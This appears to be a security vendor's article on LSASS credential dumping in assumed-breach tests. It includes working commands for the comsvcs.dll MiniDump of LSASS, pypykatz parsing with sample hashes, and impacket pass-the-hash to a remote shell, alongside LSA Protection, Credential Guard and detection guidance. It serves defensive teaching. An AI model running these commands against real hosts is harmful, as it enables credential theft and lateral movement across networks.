Key takeaways
- LSASS holds NTLM hashes, Kerberos tickets and sometimes cleartext credentials for every user logged on to a Windows host.
- The comsvcs.dll MiniDump technique uses a built-in Windows DLL to snapshot LSASS without deploying a third-party tool, reducing the EDR detection surface.
- Pass-the-hash lets an attacker authenticate to remote hosts using a recovered NTLM hash, with no password cracking required.
- LSA Protection and Windows Defender Credential Guard are the two Windows controls that prevent an attacker with local admin rights from reading LSASS memory.
- An assumed-breach assessment that demonstrates LSASS dumping exposes the gap between a control that is configured and one that has been tested.
What credential material LSASS stores
The Local Security Authority Subsystem Service (lsass.exe) is the Windows process responsible for user authentication, policy enforcement and security token generation. When a user authenticates to a Windows host, the operating system stores credential material in the LSASS process memory so that Kerberos ticket renewal, NTLM challenge responses and network resource access can proceed without repeated prompts. The process runs continuously and holds live sessions for every authenticated user on the machine, including service accounts running background tasks.
The material available from a dump depends on the Windows version and the authentication protocols configured. On a default Windows 10 or Windows Server 2019 installation with no additional hardening, a dump yields at minimum the NTLM hash for each active session and any Kerberos tickets held for that session. Older domain configurations or environments where WDigest authentication has not been disabled in the registry may still cache cleartext passwords alongside the hash. The table below summarises what each credential type looks like and how it is reused without any cracking step.
A single memory snapshot captures the credentials of every account currently logged on to the host. A domain administrator who last connected over RDP, a service account running a scheduled task and a standard user at the console all leave their material in the same process. That concentration makes LSASS the highest-value target for credential harvesting in a Windows domain.
| Credential type | Format in memory | How it is reused without cracking |
|---|---|---|
| NTLM hash | 32-character MD4 hex digest | Pass-the-hash over SMB, WMI or RDP |
| Kerberos TGT | Encrypted ticket and session key | Pass-the-ticket to impersonate the user across services |
| Kerberos service ticket | Ticket for a specific service principal name | Direct access to that service without re-authentication |
| MS-CACHE2 (cached domain credentials) | Salted PBKDF2-SHA1 hash | Offline cracking when the domain controller is unreachable |
| WDigest credentials | Cleartext password if the WDigest registry key is set | Immediate use with no processing required |
| DPAPI master key | Per-user RSA-wrapped AES key | Decrypts stored browser passwords and user certificates |
The assumed-breach starting point: one host, local admin
An assumed-breach engagement begins from a position agreed with the client before the exercise starts. The most common starting point is local administrator rights on one endpoint inside the Active Directory domain, with no other access granted. The engagement answers a specific question: given one workstation and local administrator credentials, what can an attacker reach across the domain?
LSASS credential dumping is typically the first technique applied from that foothold because it requires nothing beyond the rights already granted. There is no privilege escalation to perform, no service to exploit and no application control to bypass. Local administrator rights on a Windows host are sufficient to open the LSASS process with the access mask needed for a full memory snapshot. The technique works on the first host in scope, and the credentials recovered determine where the engagement moves next.
What the chain produces after recovery depends on whose credentials were present on the host at the time of the dump. A domain user hash opens any host where that account holds local administrator rights. A domain administrator hash or ticket is a direct path to the domain controller and every machine in the domain. If the recovered account also holds cloud rights, the next step may reach a cloud tenant rather than another on-premises host, as shown in the cloud token theft in an assumed-breach exercise walkthrough in this cluster.
In
Initial foothold
Local admin on one endpoint in the assumed-breach scope
Through
LSASS snapshot
Memory dumped via a built-in Windows DLL, no third-party tool
Credential extraction
NTLM hashes, Kerberos tickets and cached secrets parsed offline
Lateral movement
Recovered hashes used to authenticate without a password
Out
Domain objective
Target assets reached under domain credentials
Snapshotting LSASS with built-in Windows tools
Running Mimikatz directly against LSASS on a monitored host is a reliable way to trigger an EDR alert. Every major endpoint protection product has recognised Mimikatz by binary hash, in-memory string patterns and behavioral signature for years. The more durable approach uses only components already present on every Windows installation.
comsvcs.dll is a Windows system DLL that ships with every version since Windows XP. Task Manager uses it internally when a user selects Create Dump File on a process. The same MiniDumpWriteDump function is accessible from the command line through rundll32, which is a signed Windows binary present on every installation. The dump it produces is a standard Windows minidump file, identical in format to what a forensics tool would create, and can be transferred off the machine for parsing on a host with no EDR agent.
The command requires the LSASS process ID, which is available without any additional tooling. PowerShell and the built-in tasklist both return it. Because the dump file is a plain file on disk, it can be exfiltrated over any channel available to a local administrator, and the credential extraction step then takes place entirely off the target.
# Get the LSASS PID from PowerShell
Get-Process -Name lsass | Select-Object Id
# Output:
# Id
# --
# 712# Run from an elevated prompt with local administrator rights
C:\> rundll32 C:\Windows\System32\comsvcs.dll MiniDump 712 C:\Windows\Temp\lsass.dmp full
# lsass.dmp is a standard Windows minidump.
# Copy it off the machine for offline parsing.
Parsing the dump: extracting hashes and tickets
The dump file is a standard Windows minidump containing the full memory of the LSASS process at the time of capture. It can be transferred to any host for analysis: the attacker's own machine, a virtual machine or a Linux system running pypykatz. Parsing requires no access to the original host and no connection to the domain.
pypykatz is a Python implementation of the same credential parsing logic that Mimikatz performs against live memory. It reads the minidump structures, locates the LSA session records and extracts the credential material stored for each session. The output lists each logged-on user with their NTLM hash and any Kerberos material. The technique is documented under MITRE ATT&CK T1003.001, which covers OS Credential Dumping via LSASS Memory, and the weakness it exploits is classified as CWE-522: insufficiently protected credentials.
The recovered material in the output is ready for direct use. The NTLM hash requires no further processing for pass-the-hash, and a Kerberos TGT can be injected into a session for pass-the-ticket. The only limit on what can be recovered is the set of accounts that were actively logged on to the host at the moment the snapshot was taken.
$ pypykatz lsa minidump lsass.dmp
INFO:pypykatz:Parsing file lsass.dmp
== LogonSession ==
authentication_id 123456 (1e240)
session_id 1
username jdoe
domainname CORP
logon_server DC01
logon_time 2026-10-07T08:12:44.123456+00:00
sid S-1-5-21-1234567890-1234567890-1234567890-1104
== MSV ==
[0] Primary
* Username: jdoe
* Domain: CORP
* LMHash: aad3b435b51404eeaad3b435b51404ee
* NTHash: e19ccf75ee54e06b06a5907af13cef42
== Kerberos ==
* Username: jdoe
* Domain: CORP.LOCAL
* Password: NoneAuthenticating across the network with recovered hashes
NTLM authentication does not verify the plaintext password. The protocol asks the client to prove knowledge of the password by computing an HMAC-MD5 response to a server-issued challenge, using the NTLM hash as the key. Possession of the hash is sufficient to complete that exchange. A recovered NTLM hash from an LSASS dump authenticates to any host that accepts NTLM without the attacker ever knowing what the original password was.
The impacket suite provides psexec.py, wmiexec.py and smbclient.py, each accepting an NTLM hash via the -hashes flag in the format LM:NT. A domain administrator hash recovered from one workstation becomes a shell on every host in the domain where that account holds rights. For environments that enforce Kerberos, the same NTLM hash can be used for Overpass-the-Hash: the client sends an AS-REQ to the domain controller using the hash to derive the session key, receiving a Kerberos TGT in return that behaves normally from that point.
The detection signals for these moves are consistent and logged by default on Windows domain controllers. Event ID 4624 with LogonType 3 marks NTLM lateral movement, and Event ID 4768 with RC4 encryption marks an Overpass-the-Hash request. The full set of signals to configure and correlate is covered in what your SIEM should catch during an assumed-breach exercise.
# LM field uses the empty LM hash; NT field is the hash from the dump
$ impacket-psexec -hashes :e19ccf75ee54e06b06a5907af13cef42 CORP/[email protected]
Impacket - v0.11.0
[*] Requesting shares on 192.168.1.20.....
[*] Found writable share ADMIN$
[*] Uploading file xTrMiHnD.exe
[*] Opening SVCManager on 192.168.1.20.....
[*] Creating service Ewmu on 192.168.1.20.....
[*] Starting service Ewmu.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19041.1415]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
corp\jdoeControls that prevent an LSASS dump from succeeding
LSA Protection, enabled by setting RunAsPPL to 1 under HKLM\SYSTEM\CurrentControlSet\Control\Lsa, marks the LSASS process as a Protected Process Light. Opening a PPL process with an access mask that includes PROCESS_VM_READ requires the calling process to hold a valid Windows PPL signature. rundll32 does not carry that signature, and neither do most post-exploitation frameworks. A UEFI-locked variant stores the setting in firmware, preventing a local administrator from removing the registry key before the dump attempt. Microsoft's documentation on configuring additional LSA protection covers both the registry-only and the firmware-locked variants.
Windows Defender Credential Guard moves LSASS credential operations into an isolated virtual machine backed by the Windows hypervisor. NTLM hashes and Kerberos ticket encryption keys are held in the Isolated User Mode process, which no user-mode code can access regardless of the caller's rights. A dump of the standard LSASS process on a Credential Guard-enabled host returns session records with empty credential fields: usernames and SIDs are present but no NTLM hash or Kerberos key material appears. The scope of an infrastructure penetration test should verify both features explicitly, because neither is enabled by default and both are absent in a significant proportion of Active Directory environments that have not been hardened after initial deployment.
Under NIST SP 800-63B, a stored authenticator secret must be protected against extraction. An NTLM hash is that secret: it functions as a direct authenticator and its recovery through an LSASS dump is a full credential compromise, not merely a password disclosure. The response is not a password reset alone. Every account whose session was active on the host at the time of the dump must be treated as fully compromised and its sessions invalidated. A purple teaming exercise validates whether the detection rule added after remediation fires correctly on a repeat dump attempt.
LSASS credential dumping in UAE Active Directory environments
Most enterprise networks in Dubai and Abu Dhabi run on Windows Active Directory domains. When those networks are assessed under an assumed-breach or red team engagement, LSASS credential dumping is among the first techniques applied once a foothold is granted. Banks and financial institutions regulated by the Central Bank of the UAE (CBUAE) operate under the CBUAE Cyber Risk Framework, which sets requirements for privileged access controls and credential management. A successful LSASS dump in that environment is direct evidence of a gap in those controls: a finding that names the missing protection rather than describing a generic credential-theft risk.
In Abu Dhabi, the ADHICS standard under the Department of Health requires identity and access management controls that include protecting credential stores for healthcare providers and their supply chains. Organisations in Dubai operating under DESC guidance face equivalent requirements when supplying services to Dubai government entities. An assumed-breach assessment that demonstrates a full LSASS dump followed by successful pass-the-hash lateral movement across either environment produces a clear finding with a testable remediation: RunAsPPL and Credential Guard are both verifiable in a follow-on retest. A purple teaming exercise run after remediation confirms whether the detection rule added after the first assessment fires correctly on a second attempt, closing the finding on evidence rather than on configuration alone.
Frequently asked questions
What is LSASS credential dumping?
LSASS credential dumping is the technique of reading the memory of the Windows Local Security Authority Subsystem Service process to extract credential material held there for active user sessions. The material includes NTLM hashes, Kerberos tickets and, in some configurations, cleartext passwords. An attacker with local administrator rights on a Windows host can perform this without any additional privilege escalation.
What types of credentials can be extracted from LSASS memory?
An LSASS dump can yield NTLM hashes for each logged-on user, Kerberos Ticket Granting Tickets and service tickets, MS-CACHE2 hashes for cached domain credentials, DPAPI master keys and, if WDigest authentication is enabled in the registry, cleartext passwords. The exact material depends on the Windows version, the authentication protocols in use and which accounts are currently logged on to the host.
How does LSASS credential dumping differ from password cracking?
Password cracking converts a stored hash into its original plaintext by computing and comparing candidate hashes. LSASS credential dumping recovers the hash itself and uses it directly for authentication, without ever determining what the plaintext is. Pass-the-hash works because NTLM authentication verifies the hash through a challenge-response exchange, so the attacker needs no cracking step and is unaffected by password length or complexity.
What is pass-the-hash and why does it not require a password?
Pass-the-hash is an authentication technique that supplies a recovered NTLM hash directly to a Windows authentication library instead of computing the hash from a typed password. The NTLM protocol authenticates by having the client prove knowledge of the hash through a challenge-response exchange. Possessing the hash is mathematically equivalent to knowing the password for the purpose of that exchange, so the attacker authenticates without the plaintext.
What is LSA Protection and does it stop LSASS credential dumping?
LSA Protection marks the LSASS process as a Protected Process Light, which requires any process opening it with a memory-read access mask to carry a valid Windows PPL signature. Living-off-the-land tools like rundll32 and most post-exploitation frameworks do not carry that signature and are refused access. The UEFI-locked variant stores the setting in firmware, preventing a local administrator from removing the registry key before attempting the dump.
How does Windows Defender Credential Guard differ from LSA Protection?
LSA Protection restricts which processes can open LSASS with sufficient access rights. Credential Guard takes the credential material out of the LSASS process entirely by moving the sensitive operations into a hypervisor-backed isolated environment. Even if an attacker bypasses PPL restrictions and reads the LSASS process memory, the NTLM hashes and Kerberos keys are absent: they are held in a virtual machine that user-mode code cannot access.
What living-off-the-land techniques can dump LSASS without deploying a third-party binary?
The most common is the comsvcs.dll MiniDump technique, which calls MiniDumpWriteDump via rundll32 using the LSASS process ID. Task Manager performs the same operation through its right-click Create Dump File menu. Both produce a standard Windows minidump file that can be parsed offline. Procdump from the Sysinternals suite is a Microsoft-signed binary and is sometimes treated as trusted by detection policies, making it a common alternative.
What Windows event IDs indicate that LSASS memory has been accessed?
Sysmon Event ID 10 logs process access events and records the access mask used when a process opens LSASS. Access masks of 0x1010 or 0x1410 are the values associated with a credential dump. Windows Security Event ID 4656 logs LSASS process handle opens when object access auditing is enabled. These events are the primary detection signals for this technique and should be forwarded to a SIEM for correlation.
How does LSASS credential dumping fit into an assumed-breach assessment?
In an assumed-breach assessment, the team starts with local administrator rights on one host rather than working through initial access. LSASS dumping is typically the first credential access technique applied from that position because it requires no additional rights beyond the granted foothold. The credentials recovered determine whether the engagement can move laterally within the domain, reach a domain controller or access cloud services connected to the same identity.
Which MITRE ATT&CK technique covers LSASS credential dumping?
LSASS memory dumping is documented under MITRE ATT&CK technique T1003.001, OS Credential Dumping: LSASS Memory. The parent technique T1003 covers OS credential dumping more broadly, including techniques that target the Security Account Manager database, the NTDS.dit file and other credential stores. T1003.001 specifically addresses the LSASS process as the target for memory-based credential extraction.
